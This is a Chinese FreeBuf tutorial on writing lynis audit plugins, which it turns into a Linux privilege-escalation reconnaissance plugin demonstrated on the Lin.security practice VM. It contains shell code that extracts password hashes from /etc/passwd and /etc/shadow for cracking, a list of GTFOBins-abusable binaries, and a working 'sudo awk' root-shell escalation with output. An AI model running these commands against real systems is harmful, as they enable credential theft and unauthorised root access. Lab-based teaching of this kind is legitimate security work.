lynis外掛編寫:從入門到放棄
*本文作者:nancce,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
lynis是一款採用shell指令碼編寫,適用於Linux,macOS和基於UNIX的系統的安全稽核工具,相信小夥伴們在網上搜索lynis會有很多介紹lynis如何使用的文章,但是關於lynis外掛編寫的文章卻很少,本文就來討論下lynis的外掛編寫。
lynis的使用也很是簡單方便,一般來說我們使用以下的命令就可以了:
cd lynis; ./lynis audit system
除了使用lynis預設的規則來加固linux之外,lynis還提供了外掛的功能,通過自己編寫外掛,我們可以把lynis改裝成一款linux提權資訊的收集器,或者將其改裝成惡意程式的檢測工具,本文我們將先介紹編寫lynis外掛的語法,然後基於lynis編寫一個linux提權資訊收集外掛,希望通過這個案例可以啟發小夥伴們開發出更精彩的外掛。
外掛介紹
指令碼語言
Lynis採用shell指令碼編寫的,這是一種多功能指令碼語言,可在在Linux或基於UNIX的作業系統的所有系統上執行。
Lynis執行步驟
我們先看看lynis完整的執行週期如下:
[Initialization] → [OS detection] → [Detection of binaries] → [Plugins phase 1] → [Built-in tests] → [Custom tests] → [Plugins phase 2] → [Report]
可以發現,在lynis中有兩個階段可以去執行外掛,它們分別是Plugins phase 1,Plugins phase 2。
lynis SDK
lynis同時也提供 lynis SDK 的開發方式及下載。
開發步驟
第一步:找到外掛目錄
第一步是就瞭解Lynis的安裝位置,特別是您的外掛儲存的目錄。當執行Lynis時,外掛目錄就會顯示在螢幕上,並存儲在日誌檔案中(通常為/var/log/lynis.log),所以我們可以通過下面的命令來檢視外掛的目錄文章:
grep -i plugin /var/log/lynis.log
第二步:決定載入外掛的階段
第一階段
在第一階段執行的外掛將在內建測試之前執行。此階段非常適合僅收集資料的測試。這有可能是獲取已安裝的軟體包列表或系統上執行的程序。
第二階段
外掛的第二階段發生在正常測試結束時。這是你希望分析先前發現的資訊,處理它並可選擇在螢幕上顯示的時候。
提示:如果您是第一次建立外掛,請使用第二階段。這樣你就可以使所有測試資料可用的同時向螢幕輸出,因為它在審計週期最後階段執行。
第三步:建立外掛檔案
在plugins目錄,將customplugin.template檔案複製到plugin [name] _phase [number]檔案中。
Plugin Name and Phase
[name]的值應替換為外掛的唯一名稱。僅使用小寫字元,數字和(可選)短劃線( – )來連結兩個單詞。 [number]用以定義外掛階段,即1或2。
例如name的取值可為:companyname, custom-tests, iso27001, personal
命令:
cp custom_plugin.template plugin_custom-tests_phase2
第四步:配置外掛
修改檔案標題
對此檔案的第一次調整就是修改標題。這些細節用於外掛的部分說明,用於驗證外掛的正確格式。
######################################################################### # #* DO NOT REMOVE * #----------------------------------------------------- # PLUGIN_AUTHOR=Mr Auditor <[email protected]> # PLUGIN_CATEGORY=Custom # PLUGIN_DESC=This are my custom tests # PLUGIN_NAME=custom-tests # PLUGIN_REQUIRED_TESTS= #----------------------------------------------------- #########################################################################
PLUGIN_AUTHOR: 作者欄位定義誰負責建立和更新此檔案。 PLUGIN_CATEGORY: 這個欄位描述了此外掛所屬的測試型別(例如,network)。可以使用“custom”。 PLUGIN_DESC: 描述欄位,帶有可選的解釋,說明為什麼建立此外掛及其目標。 PLUGIN_NAME: 應該和你用作檔名的名稱相同。 PLUGIN_REQUIRED_TESTS: 描述在執行該外掛之前應該已經執行的依賴檢測。通常可以跳過。
Tips:
檢查是否正確定義了PLUGIN_NAME欄位。
保留#符號,只更改每行的值。
第五步:建立外掛
每個外掛都包含一個或多個單獨的檢測單元。它們標有唯一的ID,以便正確的記錄和儲存測試結果。出於同樣的原因,您建立的所有測試都應以“CUST-”開頭,然後是四個數字(例如CUST-0010)。
檢測單元使用通用的shell指令碼語言建立。為了簡化操作,lynis預先實現了幾個函式(include / functions)。示例包括向螢幕,日誌檔案或報告檔案新增文字。它還包括用於檢查許可權的檢測等。
基礎的函式:
Display: 向螢幕輸出、列印 LogText: 向log檔案中輸出 Register: 測試單元佇列執行 Report: 向report中輸出
檢測流程:
設定可選的先決條件;
註冊檢測(註冊功能)。然後Lynis將檢查是否需要執行或跳過;
檢查註冊功能的狀態(if [ ${SKIPTEST} -eq 0 ]; then);
執行檢測程式碼5、關閉檢測(fi)。
可以在 include/tests_custom.template 檔案中看到測試和函式的一些示例。另一個很好的資源是Lynis中的常規檢測,也可以在include目錄中找到。
第六步:執行lynis
在執行lynis之後,外掛會被載入。
常見問題
如果,外掛沒有被啟用,請按檢查以下的專案:
在profile(.prf)中是否被開啟;
外掛名和外掛程式碼中是否一致;
外掛檔案是否有許可權。
日誌檔案(/var/log/lynis.log)中也將記錄忽略該外掛的原因。
linux提權資訊收集外掛
如何執行外掛
雖然在上面的章節中我們介紹了在執行lynis後,外掛會被載入,但是這樣的話會在執行我們的外掛的同時執行lynis自帶的外掛和很多其他的資訊收集指令碼,所以lynis提供了一種單獨執行外掛的選項–tests。
./lynis audit system --tests CUST-id1,CUST-id2
這裡的id就是編寫外掛時自定義的獨一無二的值
確認收集什麼資訊
目前該外掛已經完成收集的資訊有:
判斷/etc/passwd中是否有hash的password,如果有提取出來後續可以使用hashcat等破解(外掛id:PASS-0001,plugin_check_passwd_shadow_phase2);
判斷/etc/shadow檔案root之外的使用者是否有許可權讀取,如果有提取出來後續可以使用hashcat等破解(外掛id:PASS-0002,plugin_check_passwd_shadow_phase2);
判斷/etc/passwd檔案root之外的使用者是否有寫入的許可權,可以直接修改密碼(外掛id:PASS-0003,plugin_check_passwd_shadow_phase2);
檢測當前使用者可以執行並且可被用以提權的程式(外掛id:PWN-0001,plugin_check_pwnable_binary_phase2);
發現隱藏檔案(外掛id:HIDDEN-0001,plugin_check_hidden_file_phase2);
發現suid檔案,經典提權(外掛id:SUID-0001,plugin_check_suid_file_phase2);
檢測是否有docker使用者組並列出其中的使用者(外掛id:GROUP-0001,plugin_check_docker_group_phase2)。
目前收集的資訊還是比較少的,後續會逐步的新增。
實戰Lin.security
首先,簡單介紹下外掛的內容,定義檢查/etc/passwd檔案中是否有密文的函式:
check_password_hashes() { # define some constant IFS_OLD=$IFS IFS=$'\n' ENCRYPTEDPASS='x' #start LogText "Test:obtain /etc/passwd file content" passwd_content=$(${AWKBINARY} '{print $0}' /etc/passwd) for each_passwd in ${passwd_content}; do IFS=':' passwd_split_colon=($each_passwd) if [ "${passwd_split_colon[1]}" != "$ENCRYPTEDPASS" ];then IFS=$'\n' Report "sensetive_passwd_hashes[]=$each_passwd" fi done IFS=$IFS_OLD }
然後在註冊程式碼塊裡呼叫該函式在外掛載入時執行:
################################################################################# # # Test: PASS-0001 # Description : We show some lines on the screen # Register our first custom test # We consider it to be a lightweight test (no heavy IO, or long searches), no network connection needed Register --test-no PASS-0001 --weight L --network NO --description "A test for check if there is password hashess stored in /etc/passwd" if [ ${SKIPTEST} -eq 0 ]; then # The Display function makes it easy to show something on screen, with colors. # --indentdefines amount of spaces # --texttext to be displayed on screen # --resulttext at end of line # --colorcolor of result text Display --indent 2 --text "- Checking if there is a password hashes on /etc/passwd file" --result OK --color GREEN check_password_hashes; fi #
執行命令:
./lynis audit system --tests PASS-0001
檢視收集結果的報告:
cat /var/log/lynis-report.dat | grep sensetive_passwd_hashes
Lin.security 是一款提權練習的虛擬機器,通過模擬真實漏洞,將幫助您完善本地許可權提升技能,技術和工具集。
通過bob/secret登入到Lin.security中,ifconfig檢視虛擬機器的ip:
bob@linsecurity:~/lynis-master/plugins$ ifconfig docker0: flags=4099<UP,BROADCAST,MULTICAST>mtu 1500 inet 172.17.0.1netmask 255.255.0.0broadcast 172.17.255.255 ether 02:42:8a:eb:21:07txqueuelen 0(Ethernet) RX packets 0bytes 0 (0.0 B) RX errors 0dropped 0overruns 0frame 0 TX packets 0bytes 0 (0.0 B) TX errors 0dropped 0 overruns 0carrier 0collisions 0 enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>mtu 1500 inet 192.168.137.196netmask 255.255.255.0broadcast 192.168.137.255 inet6 fe80::a00:27ff:fed8:9fd6prefixlen 64scopeid 0x20<link> ether 08:00:27:d8:9f:d6txqueuelen 1000(Ethernet) RX packets 180bytes 18259 (18.2 KB) RX errors 0dropped 0overruns 0frame 0 TX packets 753bytes 69400 (69.4 KB) TX errors 0dropped 0 overruns 0carrier 0collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING>mtu 65536 inet 127.0.0.1netmask 255.0.0.0 inet6 ::1prefixlen 128scopeid 0x10<host> looptxqueuelen 1000(Local Loopback) RX packets 373bytes 27495 (27.4 KB) RX errors 0dropped 0overruns 0frame 0 TX packets 373bytes 27495 (27.4 KB) TX errors 0dropped 0 overruns 0carrier 0collisions 0
將外掛拷貝進虛擬機器plugins目錄下:
scp plugin_check_* [email protected]:/home/bob/lynis-master/plugins/ [email protected]'s password: plugin_check_docker_group_phase2100% 3858899.2KB/s00:00 plugin_check_hidden_file_phase2100% 36283.7MB/s00:00 plugin_check_passwd_shadow_phase2100% 50106.4MB/s00:00 plugin_check_pwnable_binary_phase2100% 49706.5MB/s00:00 plugin_check_suid_file_phase2100% 35783.7MB/s00:00
記得將default.prf也拷貝進去,覆蓋原來的配置:
scp default.prf [email protected]:/home/bob/lynis-master/ [email protected]'s password: default.prf100%20KB6.7MB/s00:00
執行lynis:
bob@linsecurity:~/lynis-master$ bash lynis audit system
檢視外掛收集到的資訊:
cat /tmp/lynis-report.dat | grep -E 'suid_file|pwnable_programs|sensetive_passwd_hashes|hidden_file|docker_group' plugin_enabled_phase2[]=check_hidden_file|| hidden_file[]=/snap/core/4917/etc/.pwd.lock hidden_file[]=/snap/core/4917/etc/cron.d/.placeholder hidden_file[]=/snap/core/4917/etc/cron.daily/.placeholder hidden_file[]=/snap/core/4917/etc/cron.hourly/.placeholder hidden_file[]=/snap/core/4917/etc/cron.monthly/.placeholder hidden_file[]=/snap/core/4917/etc/cron.weekly/.placeholder hidden_file[]=/snap/core/4917/etc/init.d/.depend.boot hidden_file[]=/snap/core/4917/etc/init.d/.depend.start hidden_file[]=/snap/core/4917/etc/init.d/.depend.stop hidden_file[]=/snap/core/4917/etc/skel/.bash_logout hidden_file[]=/snap/core/4917/etc/skel/.bashrc hidden_file[]=/snap/core/4917/etc/skel/.profile hidden_file[]=/snap/core/4917/var/lib/apparmor/profiles/.apparmor.md5sums hidden_file[]=/snap/core/4486/etc/.pwd.lock hidden_file[]=/snap/core/4486/etc/cron.d/.placeholder hidden_file[]=/snap/core/4486/etc/cron.daily/.placeholder hidden_file[]=/snap/core/4486/etc/cron.hourly/.placeholder hidden_file[]=/snap/core/4486/etc/cron.monthly/.placeholder hidden_file[]=/snap/core/4486/etc/cron.weekly/.placeholder hidden_file[]=/snap/core/4486/etc/init.d/.depend.boot hidden_file[]=/snap/core/4486/etc/init.d/.depend.start hidden_file[]=/snap/core/4486/etc/init.d/.depend.stop hidden_file[]=/snap/core/4486/etc/skel/.bash_logout hidden_file[]=/snap/core/4486/etc/skel/.bashrc hidden_file[]=/snap/core/4486/etc/skel/.profile hidden_file[]=/snap/core/4486/var/lib/apparmor/profiles/.apparmor.md5sums hidden_file[]=/snap/core/5328/etc/.pwd.lock hidden_file[]=/snap/core/5328/etc/cron.d/.placeholder ...
我們可以聚焦於最簡便的pwnable_program部分:
pwnable_programs[]=/bin/ash (For more details, visit:https://gtfobins.github.io/gtfobins/ash) pwnable_programs[]=/usr/bin/awk (For more details, visit:https://gtfobins.github.io/gtfobins/awk) pwnable_programs[]=/bin/bash (For more details, visit:https://gtfobins.github.io/gtfobins/bash) pwnable_programs[]=/bin/csh (For more details, visit:https://gtfobins.github.io/gtfobins/csh) pwnable_programs[]=/usr/bin/curl (For more details, visit:https://gtfobins.github.io/gtfobins/curl) pwnable_programs[]=/bin/dash (For more details, visit:https://gtfobins.github.io/gtfobins/dash) pwnable_programs[]=/bin/ed (For more details, visit:https://gtfobins.github.io/gtfobins/ed) pwnable_programs[]=/usr/bin/env (For more details, visit:https://gtfobins.github.io/gtfobins/env) pwnable_programs[]=/usr/bin/expect (For more details, visit:https://gtfobins.github.io/gtfobins/expect) pwnable_programs[]=/usr/bin/find (For more details, visit:https://gtfobins.github.io/gtfobins/find) pwnable_programs[]=/usr/bin/ftp (For more details, visit:https://gtfobins.github.io/gtfobins/ftp) pwnable_programs[]=/usr/bin/less (For more details, visit:https://gtfobins.github.io/gtfobins/less) pwnable_programs[]=/usr/bin/man (For more details, visit:https://gtfobins.github.io/gtfobins/man) pwnable_programs[]=/bin/more (For more details, visit:https://gtfobins.github.io/gtfobins/more) pwnable_programs[]=/usr/bin/scp (For more details, visit:https://gtfobins.github.io/gtfobins/scp) pwnable_programs[]=/usr/bin/socat (For more details, visit:https://gtfobins.github.io/gtfobins/socat) pwnable_programs[]=/usr/bin/ssh (For more details, visit:https://gtfobins.github.io/gtfobins/ssh) pwnable_programs[]=/usr/bin/vi (For more details, visit:https://gtfobins.github.io/gtfobins/vi) pwnable_programs[]=/usr/bin/zsh (For more details, visit:https://gtfobins.github.io/gtfobins/zsh) pwnable_programs[]=/usr/bin/pico (For more details, visit:https://gtfobins.github.io/gtfobins/pico) pwnable_programs[]=/usr/bin/perl (For more details, visit:https://gtfobins.github.io/gtfobins/perl) pwnable_programs[]=/usr/bin/tclsh (For more details, visit:https://gtfobins.github.io/gtfobins/tclsh) pwnable_programs[]=/usr/bin/git (For more details, visit:https://gtfobins.github.io/gtfobins/git) pwnable_programs[]=/usr/bin/scp (For more details, visit:https://gtfobins.github.io/gtfobins/scp)
訪問連結 https://gtfobins.github.io/gtfobins/awk/ ,用以下命令提權:
bob@linsecurity:~/lynis-master$ sudo awk 'BEGIN {system("/bin/sh")}' # id uid=0(root) gid=0(root) groups=0(root)
當然,可以使用外掛發現的其他資訊進行提權
結語
本文總結了一下lynis的外掛編寫的過程,藉助lynis我們可以開發出各種用途的lynis外掛包括但不侷限於攻擊溯源,提權資訊收集等等,希望可以給小夥伴以啟發開發出更多提高工作效率的外掛
完整的程式碼: https://github.com/nancheal/lynis-plugins ,歡迎點star~
*本文作者:nancce,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。